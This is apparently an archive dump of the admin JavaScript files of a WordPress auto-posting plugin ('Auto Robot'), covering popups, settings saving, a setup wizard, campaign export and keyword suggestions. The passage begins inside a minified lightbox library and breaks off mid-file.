0}),d.on("keydown"+e,function(a){37===a.keyCode?b.prev():39===a.keyCode&&b.next()})}),w("UpdateStatus"+e,function(a,c){c.text&&(c.text=T(c.text,b.currItem.index,b.items.length))}),w(l+e,function(a,d,e,f){var g=b.items.length;e.counter=g>1?T(c.tCounter,f.index,g):""}),w("BuildControls"+e,function(){if(b.items.length>1&&c.arrows&&!b.arrowLeft){var d=c.arrowMarkup,e=b.arrowLeft=a(d.replace(/%title%/gi,c.tPrev).replace(/%dir%/gi,"left")).addClass(s),f=b.arrowRight=a(d.replace(/%title%/gi,c.tNext).replace(/%dir%/gi,"right")).addClass(s);e.click(function(){b.prev()}),f.click(function(){b.next()}),b.container.append(e.add(f))}}),w(n+e,function(){b._preloadTimeout&&clearTimeout(b._preloadTimeout),b._preloadTimeout=setTimeout(function(){b.preloadNearbyImages(),b._preloadTimeout=null},16)}),void w(h+e,function(){d.off(e),b.wrap.off("click"+e),b.arrowRight=b.arrowLeft=null})):!1},next:function(){b.direction=!0,b.index=S(b.index+1),b.updateItemHTML()},prev:function(){b.direction=!1,b.index=S(b.index-1),b.updateItemHTML()},goTo:function(a){b.direction=a>=b.index,b.index=a,b.updateItemHTML()},preloadNearbyImages:function(){var a,c=b.st.gallery.preload,d=Math.min(c[0],b.items.length),e=Math.min(c[1],b.items.length);for(a=1;a<=(b.direction?e:d);a++)b._preloadItem(b.index+a);for(a=1;a<=(b.direction?d:e);a++)b._preloadItem(b.index-a)},_preloadItem:function(c){if(c=S(c),!b.items[c].preloaded){var d=b.items[c];d.parsed||(d=b.parseEl(c)),y("LazyLoad",d),"image"===d.type&&(d.img=a('').on("load.mfploader",function(){d.hasSize=!0}).on("error.mfploader",function(){d.hasSize=!0,d.loadError=!0,y("LazyLoadError",d)}).attr("src",d.src)),d.preloaded=!0}}}});var U="retina";a.magnificPopup.registerModule(U,{options:{replaceSrc:function(a){return a.src.replace(/\.\w+$/,function(a){return"@2x"+a})},ratio:1},proto:{initRetina:function(){if(window.devicePixelRatio>1){var a=b.st.retina,c=a.ratio;c=isNaN(c)?c():c,c>1&&(w("ImageHasSize."+U,function(a,b){b.img.css({"max-width":b.img[0].naturalWidth/c,width:"100%"})}),w("ElementParse."+U,function(b,d){d.src=a.replaceSrc(d,c)}))}}}}),A()});assets/js/main.js000064400000012606147600277620007764 0ustar00(function($){ "use strict"; var AutoRobot = { selected_source: [], init: function() { // Document ready. $( document ).ready( AutoRobot._loadPopup() ); this._bind(); }, /** * Binds events for the Auto Robot. * * @since 1.0.0 * @access private * @method _bind */ _bind: function() { $( document ).on('click', '.open-popup-link', AutoRobot._openPopup ); $( document ).on('click', '.auto-robot-select-type', AutoRobot._selectType ); $( document ).on('click', '.auto-robot-select-previous', AutoRobot._selectPrevious ); $( document ).on('click', '.robot-source', AutoRobot._checkedSource ); $( document ).on('click', '.robot-go-wizard', AutoRobot._goWizard ); }, /** * Load Popup * */ _loadPopup: function( ) { $('.open-popup-link').magnificPopup({ type:'inline', midClick: true, // Allow opening popup on middle mouse click. Always set it to true if you don't provide alternative source in href. // Delay in milliseconds before popup is removed removalDelay: 300, // Class that is added to popup wrapper and background // make it unique to apply your CSS animations just to this exact popup callbacks: { beforeOpen: function() { this.st.mainClass = this.st.el.attr('data-effect'); } }, }); }, /** * Open Popup * */ _openPopup: function( event ) { event.preventDefault(); $('#test-popup .step-1').show(); $('#test-popup .step-2').hide(); }, /** * Select Type * */ _selectType: function( event ) { event.preventDefault(); var selected_type = $('#test-popup').find("input[name=robot-selected-type]:checked").val(); // define source data var data = []; switch (selected_type) { case 'search': data = [ { value: "google", icon: "logo-google" }, { value: "yahoo", icon: "logo-yahoo" } ]; break; case 'affiliate': data = [ { value: "amazon", icon: "logo-amazon" }, { value: "eBay", icon: "logo-ebay" } ]; break; case 'rss': data = [ { value: "rss", icon: "logo-rss" } ]; break; case 'social': data = [ { value: "facebook", icon: "logo-facebook" }, { value: "twitter", icon: "logo-twitter" }, { value: "flickr", icon: "logo-flickr" }, { value: "instagram", icon: "logo-instagram" }, ]; break; case 'video': data = [ { value: "youtube", icon: "logo-youtube" }, { value: "vimeo", icon: "logo-vimeo" } ]; break; case 'sound': data = [ { value: "music", icon: "logo-youtube" }, { value: "soundcloud", icon: "logo-vimeo" } ]; break; default: data = [ { value: "youtube", icon: "logo-youtube" }, { value: "vimeo", icon: "logo-vimeo" } ]; } AutoRobot._updateSource(data); $('#test-popup .step-1').hide(); $('#test-popup .step-2').show(); }, /** * Select Previous * */ _selectPrevious: function( event ) { event.preventDefault(); $('#test-popup .step-2').hide(); $('#test-popup .step-1').show(); }, /** * Check source * */ _checkedSource: function( event ) { event.preventDefault(); AutoRobot.selected_source = $(this).data('source'); $(this).css({"background-color": "#e1f6ff", "color": "#04223f"}); $(".robot-source").not($(this)).css({"background-color": "#ffffff", "color": "#888"}); }, /** * Update Source * * @param {object} event Object. * @param {object} data API response data. */ _updateSource: function( data ) { var template = wp.template('robot-source-list'); jQuery('.source-list').show().html(template( data )); }, /** * Go Wizard * */ _goWizard: function( ) { var target_url = Auto_Robot_Data.wizard_url + '&source='+ AutoRobot.selected_source; window.location.replace(target_url); }, }; /** * Initialize AutoRobot */ $(function(){ AutoRobot.init(); }); })(jQuery);assets/js/settings.js000064400000006236147600277620010702 0ustar00;;;(function($){ "use strict"; var AutoRobotSettings = { init: function() { this._bind(); }, /** * Binds events for the Auto Robot Settings. * * @since 1.0.0 * @access private * @method _bind */ _bind: function() { $( document ).on('click', '.robot-save-settings', AutoRobotSettings._saveSettings ); $( document ).on('click', '.robot-vertical-tab a', AutoRobotSettings._switchTabs ); }, /** * Switch Tabs * */ _switchTabs: function( event ) { event.preventDefault(); var tab = '#' + $(this).data('nav'); $('.robot-vertical-tab').removeClass('current'); $(this).parent().addClass('current'); $('.robot-box-tab').removeClass('active'); $('.robot-box-tabs').find(tab).addClass('active'); }, /** * Save Settings * */ _saveSettings: function( event ) { event.preventDefault(); $(this).html('
      '); // set post form data var formdata = $('.robot-settings-form').serializeArray(); var fields = {}; $(formdata ).each(function(index, obj){ fields[obj.name] = obj.value; }); fields['update_frequency'] = $('.range-slider__value').text(); fields['update_frequency_unit'] = $('#robot-field-unit-button').val(); $.ajax({ url : Auto_Robot_Data.ajaxurl, type : 'POST', dataType: 'json', data : { action : 'auto_robot_save_settings', fields_data : fields, _ajax_nonce : Auto_Robot_Data._ajax_nonce, }, beforeSend: function() { }, }) .fail(function( jqXHR ){ console.log( jqXHR.status + ' ' + jqXHR.responseText); }) .done(function ( options ) { if( false === options.success ) { console.log(options); } else { console.log(options.success); $('.robot-save-settings').html('Save Settings'); AutoRobotSettings._displayNoticeMessage(options.data); } }); }, /** * Display Notice Message * */ _displayNoticeMessage: function(message) { var html = '
      ' + message + '
      '; $(html).appendTo(".robot-wrap").slideDown('slow').animate({opacity: 1.0}, 2500).slideUp('slow'); }, }; /** * Initialize AutoRobotSettings */ $(function(){ AutoRobotSettings.init(); }); })(jQuery);assets/js/wizard.js000064400000006672147600277620010346 0ustar00(function($){ "use strict"; var AutoRobotWizard = { init: function() { // Document ready. this._bind(); }, /** * Binds events for the Auto Robot Wizard. * * @since 1.0.0 * @access private * @method _bind */ _bind: function() { $( document ).on('click', '.robot-wizard-permissions', AutoRobotWizard._showPermission ); $( document ).on('click', '.robot-wizard-opt-in', AutoRobotWizard._optIn ); $( document ).on('click', '.robot-wizard-skip', AutoRobotWizard._skip ); }, /** * Show permission details * */ _showPermission: function( event ) { event.preventDefault(); if ($("#robot_wizard_set_up").hasClass("wizard-set-up")){ $("#robot_wizard_set_up").css("display", "none"); $("#robot_wizard_set_up").removeClass("wizard-set-up"); }else{ $("#robot_wizard_set_up").css("display", "block"); $("#robot_wizard_set_up").addClass("wizard-set-up"); } }, /** * Opt-in * */ _optIn: function( event ) { event.preventDefault(); console.log('click opt in'); $.ajax({ url : Auto_Robot_Data.ajaxurl, type : 'POST', dataType: 'json', data : { action : 'auto_robot_save_user_data', type : 'opt-in', _ajax_nonce : Auto_Robot_Data._ajax_nonce, }, beforeSend: function() { }, }) .fail(function( jqXHR ){ console.log( jqXHR.status + ' ' + jqXHR.responseText); window.location.href = "admin.php?page=auto-robot"; }) .done(function ( option ) { if( false === option.success ) { console.log(option); } else { console.log(option); window.location.href = "admin.php?page=auto-robot"; } }); }, /** * Skip opt in * */ _skip: function( event ) { event.preventDefault(); console.log('click skip.'); $.ajax({ url : Auto_Robot_Data.ajaxurl, type : 'POST', dataType: 'json', data : { action : 'auto_robot_save_user_data', type : 'skip', _ajax_nonce : Auto_Robot_Data._ajax_nonce, }, beforeSend: function() { }, }) .fail(function( jqXHR ){ console.log( jqXHR.status + ' ' + jqXHR.responseText); }) .done(function ( option ) { if( false === option.success ) { console.log(option); } else { console.log(option); window.location.href = "admin.php?page=auto-robot"; } }); }, }; /** * Initialize AutoRobotWizard */ $(function(){ AutoRobotWizard.init(); }); })(jQuery); assets/js/import.js000064400000010240147600277620010342 0ustar00(function($){ "use strict"; var AutoRobotImport = { init: function() { // Document ready. this._bind(); }, /** * Binds events for the Auto Robot Import. * * @since 1.0.0 * @access private * @method _bind */ _bind: function() { $( document ).on('click', '.robot-vertical-tab a', AutoRobotImport._switchTabs ); $( document ).on('click', '.sui-checkbox-all input:checkbox', AutoRobotImport._allCheckBoxes ); $( document ).on('click', '.robot-trigger-export', AutoRobotImport._triggerExport ); }, /** * Trigger Export * */ _triggerExport: function( event ) { event.preventDefault(); var allChecked = []; $('.sui-checkbox input:checkbox').each(function(i){ if( $(this).is(":checked") ) { allChecked[i] = $(this).data('index'); } }); var filtered = allChecked.filter(function (el) { return el != null; }); // set post form data var fields = {}; fields['campaign_index'] = filtered; $.ajax({ url : Auto_Robot_Data.ajaxurl, type : 'POST', dataType: 'json', data : { action : 'auto_robot_trigger_export', fields_data : fields, _ajax_nonce : Auto_Robot_Data._ajax_nonce, }, beforeSend: function() { }, }) .fail(function( jqXHR ){ console.log( jqXHR.status + ' ' + jqXHR.responseText); }) .done(function ( options ) { if( false === options.success ) { console.log(options); } else { var blob = new Blob([JSON.stringify(options.data)],{type:'application/json'}); AutoRobotImport._downloadBlob(blob); } }); }, /** * Download blob * */ _downloadBlob: function(blob, name = 'export.json') { // Convert your blob into a Blob URL (a special url that points to an object in the browser's memory) const blobUrl = URL.createObjectURL(blob); // Create a link element const link = document.createElement("a"); // Set link's href to point to the Blob URL link.href = blobUrl; link.download = name; // Append link to the body document.body.appendChild(link); // Dispatch click event on the link // This is necessary as link.click() does not work on the latest firefox link.dispatchEvent( new MouseEvent('click', { bubbles: true, cancelable: true, view: window }) ); // Remove link from body document.body.removeChild(link); }, /** * Switch Tabs * */ _switchTabs: function( event ) { event.preventDefault(); var tab = '#' + $(this).data('nav'); $('.robot-vertical-tab').removeClass('current'); $(this).parent().addClass('current'); $('.robot-box-tab').removeClass('active'); $('.robot-box-tabs').find(tab).addClass('active'); }, /** * All check boxes * */ _allCheckBoxes: function( ) { var checked =$('.sui-checkbox-all input:checkbox').is(":checked"); if(checked){ $('.sui-checkbox input:checkbox').prop("checked", true); }else{ $('.sui-checkbox input:checkbox').prop("checked", false); } }, }; /** * Initialize AutoRobotImport */ $(function(){ AutoRobotImport.init(); }); })(jQuery); assets/js/welcome.js000064400000044743147600277620010502 0ustar00;;;(function($){ "use strict"; var AutoRobotWelcome = { init: function() { // Document ready. this._bind(); }, /** * Binds events for the Auto Robot Welcome. * * @since 1.0.0 * @access private * @method _bind */ _bind: function() { $( document ).on('click', '.robot-welcome-next', AutoRobotWelcome._nextSlider ); $( document ).on('click', '.robot-welcome-prev', AutoRobotWelcome._prevSlider ); $( document ).on('keyup', '#robot-search', AutoRobotWelcome._searchSuggest ); $( document ).on('click', '.robot-keyword-selected', AutoRobotWelcome._selectKeyword ); $( document ).on('click', '.robot-generate-campaign', AutoRobotWelcome._generateCampaign ); $( document ).on('click', '.robot-slide-trigger-button', AutoRobotWelcome._triggerCampaign ); $( document ).ready( AutoRobotWelcome._languageSelector() ); $( document ).ready( AutoRobotWelcome._typeSelector() ); $( document ).ready( AutoRobotWelcome._modeSelector() ); $( document ).ready( AutoRobotWelcome._categorySelector() ); $( document ).ready( AutoRobotWelcome._changeBgColor() ); }, /** * Trigger expert campaign * */ _triggerCampaign: function( ) { var type = $('input[name="robot_init_type"]:checked').val(); console.log(type); var target_url = Auto_Robot_Data.wizard_url + '&source='+ type; window.location.replace(target_url); }, /** * Generate new campaign * */ _generateCampaign: function( event ) { event.preventDefault(); console.log('generate campaign'); // set post form data var formdata = $('#robot-generate-campaign-form').serializeArray(); var fields = {}; $(formdata ).each(function(index, obj){ fields[obj.name] = obj.value; }); fields['campaign_status'] = 'publish'; fields['robot_post_status'] = 'publish'; $.ajax({ url : Auto_Robot_Data.ajaxurl, type : 'POST', dataType: 'json', data : { action : 'auto_robot_generate_campaign', fields_data : fields, _ajax_nonce : Auto_Robot_Data._ajax_nonce }, beforeSend: function() { }, }) .fail(function( jqXHR ){ console.log( jqXHR.status + ' ' + jqXHR.responseText); }) .done(function ( options ) { console.log(options); if( false === options.success ) { console.log(options); } else { //redirect to campaigns var campaigns_url = Auto_Robot_Data.campaigns_url; window.location.replace(campaigns_url); } }); }, /** * Show next slider * */ _nextSlider: function( event ) { event.preventDefault(); var currentSlider = $('.cd-slider li.visible'); //cache jQuery objects var direction = 'next'; var svgCoverLayer = $('div.cd-svg-cover'); var pathId = svgCoverLayer.find('path').attr('id'); var svgPath = Snap('#' + pathId); var mode = $('input[name="robot-mode-switch"]:checked').val(); //store path 'd' attribute values var pathArray = []; pathArray[0] = svgCoverLayer.data('step1'); pathArray[1] = svgCoverLayer.data('step6'); pathArray[2] = svgCoverLayer.data('step2'); pathArray[3] = svgCoverLayer.data('step7'); pathArray[4] = svgCoverLayer.data('step3'); pathArray[5] = svgCoverLayer.data('step8'); pathArray[6] = svgCoverLayer.data('step4'); pathArray[7] = svgCoverLayer.data('step9'); pathArray[8] = svgCoverLayer.data('step5'); pathArray[9] = svgCoverLayer.data('step10'); if ( currentSlider.hasClass('robot-slide-campaign-name') && $( "input[name='robot_campaign_name']" ).val().length == 0 ){ $('.robot-error-message-name').css("display", "block"); return; }else if( currentSlider.hasClass('robot-generate-slide') && $( "input[name='rss_selected_keywords']" ).val().length == 0){ $('.robot-error-message-keywords').css("display", "block"); return; }else{ AutoRobotWelcome._sliderLayerAnimate(direction, svgCoverLayer, pathArray, svgPath); } // Display prev button if($('.robot-welcome-prev').css('display') == 'none'){ setTimeout(function(){ $('.robot-welcome-prev').css("display", "block"); }, 400); } if ( currentSlider.next('.robot-slide').length ){ setTimeout(function(){ currentSlider.removeClass('visible') .next('.robot-slide') .addClass('visible'); }, 400); } if ( currentSlider.next('.robot-slide').hasClass('robot-last-slide') ){ setTimeout(function(){ $('.robot-welcome-prev').css("display", "none"); $('.robot-welcome-next').css("display", "none"); }, 400); } if ( currentSlider.next('.robot-slide').hasClass('robot-slide-campaign-type') ){ if (mode == 'smart') { console.log('remove slide'); setTimeout(function(){ currentSlider.next('.robot-slide').removeClass('visible'); $('.robot-slide-campaign-name').addClass('visible'); }, 400); } } if ( currentSlider.next('.robot-slide').hasClass('robot-slide-campaign-type') && mode == 'expert'){ $('.robot-welcome-next').addClass("robot-slide-trigger-button").removeClass("robot-welcome-next"); } }, /** * Show prev slider * */ _prevSlider: function( event ) { event.preventDefault(); //cache jQuery objects var direction = 'prev'; var svgCoverLayer = $('div.cd-svg-cover'); var pathId = svgCoverLayer.find('path').attr('id'); var svgPath = Snap('#' + pathId); //store path 'd' attribute values var pathArray = []; pathArray[0] = svgCoverLayer.data('step1'); pathArray[1] = svgCoverLayer.data('step6'); pathArray[2] = svgCoverLayer.data('step2'); pathArray[3] = svgCoverLayer.data('step7'); pathArray[4] = svgCoverLayer.data('step3'); pathArray[5] = svgCoverLayer.data('step8'); pathArray[6] = svgCoverLayer.data('step4'); pathArray[7] = svgCoverLayer.data('step9'); pathArray[8] = svgCoverLayer.data('step5'); pathArray[9] = svgCoverLayer.data('step10'); AutoRobotWelcome._sliderLayerAnimate(direction, svgCoverLayer, pathArray, svgPath); var currentSlider = $('.cd-slider li.visible'); if ( currentSlider.prev('.robot-slide').length ){ setTimeout(function(){ currentSlider.removeClass('visible') .prev('.robot-slide') .addClass('visible'); }, 400); } if ( currentSlider.prev('.robot-slide').hasClass('robot-first-slide') ){ setTimeout(function(){ $('.robot-welcome-prev').css("display", "none"); }, 400); } if ( currentSlider.prev('.robot-slide').hasClass('robot-slide-campaign-type') ){ var mode = $('input[name="robot-mode-switch"]:checked').val(); console.log(mode); if (mode == 'smart') { console.log('remove slide'); setTimeout(function(){ currentSlider.prev('.robot-slide').removeClass('visible'); $('.robot-slide-campaign-mode').addClass('visible'); }, 400); } } }, _sliderLayerAnimate: function(direction, svgCoverLayer, paths, svgPath) { var duration = 300; var delay = 300; var epsilon = (1000 / 60 / duration) / 4; var firstCustomMinaAnimation = AutoRobotWelcome._bezier(.42, .03, .77, .63, epsilon); var secondCustomMinaAnimation = AutoRobotWelcome._bezier(.27, .5, .6, .99, epsilon); if (direction == 'next') { var path1 = paths[0]; var path2 = paths[2]; var path3 = paths[4]; var path4 = paths[6]; var path5 = paths[8]; } else { var path1 = paths[1]; var path2 = paths[3]; var path3 = paths[5]; var path4 = paths[7]; var path5 = paths[9]; } svgCoverLayer.addClass('is-animating'); svgPath.attr('d', path1); svgPath.animate({'d': path2}, duration, firstCustomMinaAnimation, function () { svgPath.animate({'d': path3}, duration, secondCustomMinaAnimation, function () { setTimeout(function () { svgPath.animate({'d': path4}, duration, firstCustomMinaAnimation, function () { svgPath.animate({'d': path5}, duration, secondCustomMinaAnimation, function () { svgCoverLayer.removeClass('is-animating'); }); }); }, delay); }); }); }, _bezier: function(x1, y1, x2, y2, epsilon) { //https://github.com/arian/cubic-bezier var curveX = function (t) { var v = 1 - t; return 3 * v * v * t * x1 + 3 * v * t * t * x2 + t * t * t; }; var curveY = function (t) { var v = 1 - t; return 3 * v * v * t * y1 + 3 * v * t * t * y2 + t * t * t; }; var derivativeCurveX = function (t) { var v = 1 - t; return 3 * (2 * (t - 1) * t + v * v) * x1 + 3 * (-t * t * t + 2 * v * t) * x2; }; return function (t) { var x = t, t0, t1, t2, x2, d2, i; // First try a few iterations of Newton's method -- normally very fast. for (t2 = x, i = 0; i < 8; i++) { x2 = curveX(t2) - x; if (Math.abs(x2) < epsilon) return curveY(t2); d2 = derivativeCurveX(t2); if (Math.abs(d2) < 1e-6) break; t2 = t2 - x2 / d2; } t0 = 0, t1 = 1, t2 = x; if (t2 < t0) return curveY(t0); if (t2 > t1) return curveY(t1); // Fallback to the bisection method for reliability. while (t0 < t1) { x2 = curveX(t2); if (Math.abs(x2 - x) < epsilon) return curveY(t2); if (x > x2) t0 = t2; else t1 = t2; t2 = (t1 - t0) * .5 + t0; } // Failure return curveY(t2); }; }, /** * Change background color * */ _changeBgColor: function( ) { $('#wpwrap').css("background-color", "#9bd8ef"); }, /** * Language Selector * */ _languageSelector: function( ) { $('.robot-init-language-selector').click(function(e) { e.preventDefault(); e.stopPropagation(); /* api type expanded */ $(this).toggleClass('expanded'); /* set from language value */ //var translator_from_language = $('#'+$(e.target).attr('for')); var language = $(this).find('#'+$(e.target).attr('for')); console.log(language); language.prop('checked',true); }); }, /** * Type Selector * */ _typeSelector: function( ) { $('.robot-init-type-selector').click(function(e) { e.preventDefault(); e.stopPropagation(); /* api type expanded */ $(this).toggleClass('expanded'); /* set from type value */ //var translator_from_type = $('#'+$(e.target).attr('for')); var type = $(this).find('#'+$(e.target).attr('for')); console.log(type); type.prop('checked',true); }); }, /** * Mode Selector * */ _modeSelector: function( ) { $('.mode-switch').click(function(e) { var mode = $('input[name="robot-mode-switch"]:checked').val(); console.log(mode); if (mode == 'smart') { $('.robot-slide-campaign-type').removeClass('visible'); $('.robot-slide-trigger-button').addClass("robot-welcome-next").removeClass("robot-slide-trigger-button"); } else if(mode == 'expert') { $('.robot-slide-campaign-type').addClass('visible'); } }); $('.toggle-outside').click(function(e) { var mode = $('input[name="robot-mode-switch"]:checked').val(); if (mode == 'smart') { $('.toggle-inside').css("left", "3.25rem"); $('#radio-b').prop('checked',true); } else if(mode == 'expert') { $('.toggle-inside').css("left", "0.25rem"); $('#radio-a').prop('checked',true); } }); $('#radio-a').click(function(e) { $('.toggle-inside').css("left", "0.25rem"); $('#radio-a').prop('checked',true); }); $('#radio-b').click(function(e) { $('.toggle-inside').css("left", "3.25rem"); $('#radio-b').prop('checked',true); }); }, /** * Category Selector * */ _categorySelector: function( ) { $('.robot-init-category-selector').click(function(e) { e.preventDefault(); e.stopPropagation(); /* api type expanded */ $(this).toggleClass('expanded'); /* set from category value */ //var translator_from_category = $('#'+$(e.target).attr('for')); var category = $(this).find('#'+$(e.target).attr('for')); category.prop('checked',true); }); }, /** * Search Suggest * */ _searchSuggest: function( ) { var term = $(this).val(); $.ajax({ url : 'https://clients1.google.com/complete/search', type : 'GET', dataType: 'jsonp', data: { q: term, nolabels: 't', client: 'hp', ds: '' }, }) .fail(function( jqXHR ){ console.log( jqXHR.status + ' ' + jqXHR.responseText); }) .done(function ( data ) { var htmlResult = ''; $.each( data[1], function( key, value ) { htmlResult += '
    • ' + value[0] + '
    • '; }); jQuery('.search-result-list').show().html(htmlResult); }); }, /** * Select Keyword * */ _selectKeyword: function( event ) { event.preventDefault(); console.log('keywords selected'); var keyword = $(this).data('keyword'); var parsed = keyword.replace(/(<([^>]+)>)/ig,""); $('#robot-selected-keywords').val(function(i, text) { if(text.length === 0){ return text + parsed; }else{ return text + ', '+ parsed; } }); AutoRobotWelcome._addTag(parsed); }, /** * Add selected tag * */ _addTag: function( textValue ) { const tag = document.createElement('div'), tagName = document.createElement('label'), remove = document.createElement('span'); const query = document.querySelector.bind(document); tagName.setAttribute('class', 'tag-name'); tagName.textContent = textValue; remove.setAttribute('class', 'remove'); remove.textContent = 'X'; remove.addEventListener('click', AutoRobotWelcome._deleteTag); tag.setAttribute('class', 'tag'); tag.appendChild(tagName); tag.appendChild(remove); query('.tags').appendChild(tag); }, /** * Delete selected tag * */ _deleteTag: function(e) { const query = document.querySelector.bind(document); var i = Array.from(query('.tags').children).indexOf(e.target.parentElement); const index = query('.tags').getElementsByClassName('tag')[i]; query('.tags').removeChild(index); } }; /** * Initialize AutoRobotWelcome */ $(function(){ AutoRobotWelcome.init(); }); })(jQuery);assets/js/list.js000064400000007752147600277620010021 0ustar00(function($){ "use strict"; var AutoRobotList = { init: function() { // Document ready. $( document ).ready( AutoRobotList._loadPopup() ); $( document ).ready( AutoRobotList._displayDetails() ); this._bind(); }, /** * Binds events for the Auto Robot List. * * @since 1.0.0 * @access private * @method _bind */ _bind: function() { $( document ).on('click', '.robot-dropdown-anchor', AutoRobotList._displayActions ); $( document ).on('click', '.robot-close-popup', AutoRobotList._closePopup ); $( document ).on('click', '.robot-delete-action', AutoRobotList._deleteAction ); $( document ).on('click', '#robot-check-all-campaigns', AutoRobotList._checkAll ); $( document ).on('click', '.robot-bulk-action-button', AutoRobotList._preparePost ); }, /** * Display Actions * */ _displayActions: function( event ) { event.preventDefault(); if($(this).closest('.robot-dropdown').find('.robot-dropdown-list').hasClass('active')){ $(this).closest('.robot-dropdown').find('.robot-dropdown-list').removeClass('active'); }else{ $(this).closest('.robot-dropdown').find('.robot-dropdown-list').addClass('active'); } }, /** * Load Popup * */ _loadPopup: function( ) { $('.open-popup-delete').magnificPopup({ type:'inline', midClick: true, // Allow opening popup on middle mouse click. Always set it to true if you don't provide alternative source in href. // Delay in milliseconds before popup is removed removalDelay: 300, // Class that is added to popup wrapper and background // make it unique to apply your CSS animations just to this exact popup callbacks: { beforeOpen: function() { this.st.mainClass = this.st.el.attr('data-effect'); } }, }); }, /** * Close Popup * */ _closePopup: function( ) { $('.open-popup-delete').magnificPopup('close'); }, /** * Delete Action * */ _deleteAction: function( ) { var data = $(this).data('campaign-id'); $('.robot-delete-id').val(data); }, /** * Check All * */ _checkAll: function( ) { if($(this).prop('checked')){ $('.robot-check-single-campaign').prop('checked', true); }else{ $('.robot-check-single-campaign').prop('checked', false); } }, /** * Prepare data before post action * */ _preparePost: function( ) { var ids = []; $('.robot-check-single-campaign').each(function( index ) { if($(this).prop('checked')){ var value = $(this).val(); ids.push(value); } }); $('#robot-select-campaigns-ids').val(ids); }, /** * Display Campaign Details * */ _displayDetails: function( ) { var indicator = $('.robot-accordion-open-indicator'); indicator.on('click', function(){ $(this).closest('.robot-accordion-item').find('.robot-accordion-item-body').toggleClass('robot-campaign-detail-hide'); $(this).closest('.robot-accordion-item').find('.robot-accordion-item-date').toggleClass('robot-campaign-detail-hide'); }); }, }; /** * Initialize AutoRobotList */ $(function(){ AutoRobotList.init(); }); })(jQuery); assets/js/license.js000064400000004414147600277620010460 0ustar00;;;(function($){ "use strict"; var AutoRobotLicense = { init: function() { // Document ready. this._bind(); }, /** * Binds events for the Auto Robot License. * * @since 1.0.0 * @access private * @method _bind */ _bind: function() { $( document ).on('click', '.robot-trigger-license-action', AutoRobotLicense._connect ); }, /** * connect remote api * */ _connect: function( event ) { event.preventDefault(); console.log('click license action'); var formdata = $('.robot-license-form').serializeArray(); var fields = {}; $(formdata ).each(function(index, obj){ fields[obj.name] = obj.value; }); console.log(fields); $.ajax({ url : Auto_Robot_Data.ajaxurl, type : 'POST', dataType: 'json', data : { action : 'auto_robot_license_connect', fields_data : fields, _ajax_nonce : Auto_Robot_Data._ajax_nonce, }, beforeSend: function() { $('.robot-license-action').html('
      '); }, }) .fail(function( jqXHR ){ console.log( jqXHR.status + ' ' + jqXHR.responseText); //window.location.href = "admin.php?page=auto-robot-license"; }) .done(function ( option ) { if( false === option.success ) { console.log(option); } else { console.log(option); } $('.robot-license-verify-message').html(option.data); window.location.href = "admin.php?page=auto-robot-license"; }); }, }; /** * Initialize AutoRobotLicense */ $(function(){ AutoRobotLicense.init(); }); })(jQuery);assets/js/action.js000064400000065057147600277620010325 0ustar00(function($){ "use strict"; var AutoRobotAction = { init: function() { // Document ready. $( document ).ready( AutoRobotAction._stickyHeader() ); $( document ).ready( AutoRobotAction._loadPopup() ); $( document ).ready( AutoRobotAction._mobileSelect() ); $( document ).ready( AutoRobotAction._rangeSlider() ); $( document ).ready( AutoRobotAction._mainSelect() ); $( document ).ready( AutoRobotAction._postSelect() ); $( document ).ready( AutoRobotAction._typeSelect() ); $( document ).ready( AutoRobotAction._authorSelect() ); $( document ).ready( AutoRobotAction._categorySelect() ); $( document ).ready( AutoRobotAction._sourceSelect() ); $( document ).ready( AutoRobotAction._translatorAPISelector() ); this._bind(); }, /** * Binds events for the Auto Robot Action. * * @since 1.0.0 * @access private * @method _bind */ _bind: function() { $( document ).on('click', '.robot-vertical-tab a', AutoRobotAction._switchTabs ); $( document ).on('keyup', '#robot-search', AutoRobotAction._searchSuggest ); $( document ).on('click', '.robot-keyword-selected', AutoRobotAction._selectKeyword ); $( document ).on('click', '#robot-campaign-save', AutoRobotAction._saveCampaign ); $( document ).on('click', '#robot-campaign-publish', AutoRobotAction._publishCampaign ); $( document ).on('click', '.robot-run-campaign-button', AutoRobotAction._runCampaign ); $( document ).on('click', '.sui-tab-item', AutoRobotAction._switchSuiTabs ); $( document ).on('click', '.source-select-list-container', AutoRobotAction._sourceSelectTab ); $( document ).on('click', '.button_add_field', AutoRobotAction._appendTemplate ); $( document ).on('click', '#robot-clear-logs', AutoRobotAction._clearLogs ); $( document ).on('click', '.nav-tab', AutoRobotAction._switchWelcomeTabs ); $( document ).ready( AutoRobotAction._languageLocationSelector() ); }, /** * Language and Location Selector * */ _languageLocationSelector: function( ) { $('.robot-language-location-selector').click(function(e) { console.log('click selector'); e.preventDefault(); e.stopPropagation(); /* api type expanded */ $(this).toggleClass('expanded'); /* set from language value */ //var translator_from_language = $('#'+$(e.target).attr('for')); var language = $(this).find('#'+$(e.target).attr('for')); console.log(language); language.prop('checked',true); }); }, /** * Switch Welcome Tabs * */ _switchWelcomeTabs: function( event ) { event.preventDefault(); var tab = '#' + $(this).data('nav'); $('.nav-tab').removeClass('nav-tab-active'); $(this).addClass('nav-tab-active'); $('.nav-container').removeClass('active'); $('.robot-welcome-tabs').find(tab).addClass('active'); }, /** * Switch Tabs * */ _switchTabs: function( event ) { event.preventDefault(); var tab = '#' + $(this).data('nav'); $('.robot-vertical-tab').removeClass('current'); $(this).parent().addClass('current'); $('.robot-box-tab').removeClass('active'); $('.robot-box-tabs').find(tab).addClass('active'); }, /** * Search Suggest * */ _searchSuggest: function( ) { var term = $(this).val(); $.ajax({ url : 'https://clients1.google.com/complete/search', type : 'GET', dataType: 'jsonp', data: { q: term, nolabels: 't', client: 'hp', ds: '' }, }) .fail(function( jqXHR ){ console.log( jqXHR.status + ' ' + jqXHR.responseText); }) .done(function ( data ) { var htmlResult = ''; $.each( data[1], function( key, value ) { htmlResult += '
    • ' + value[0] + '
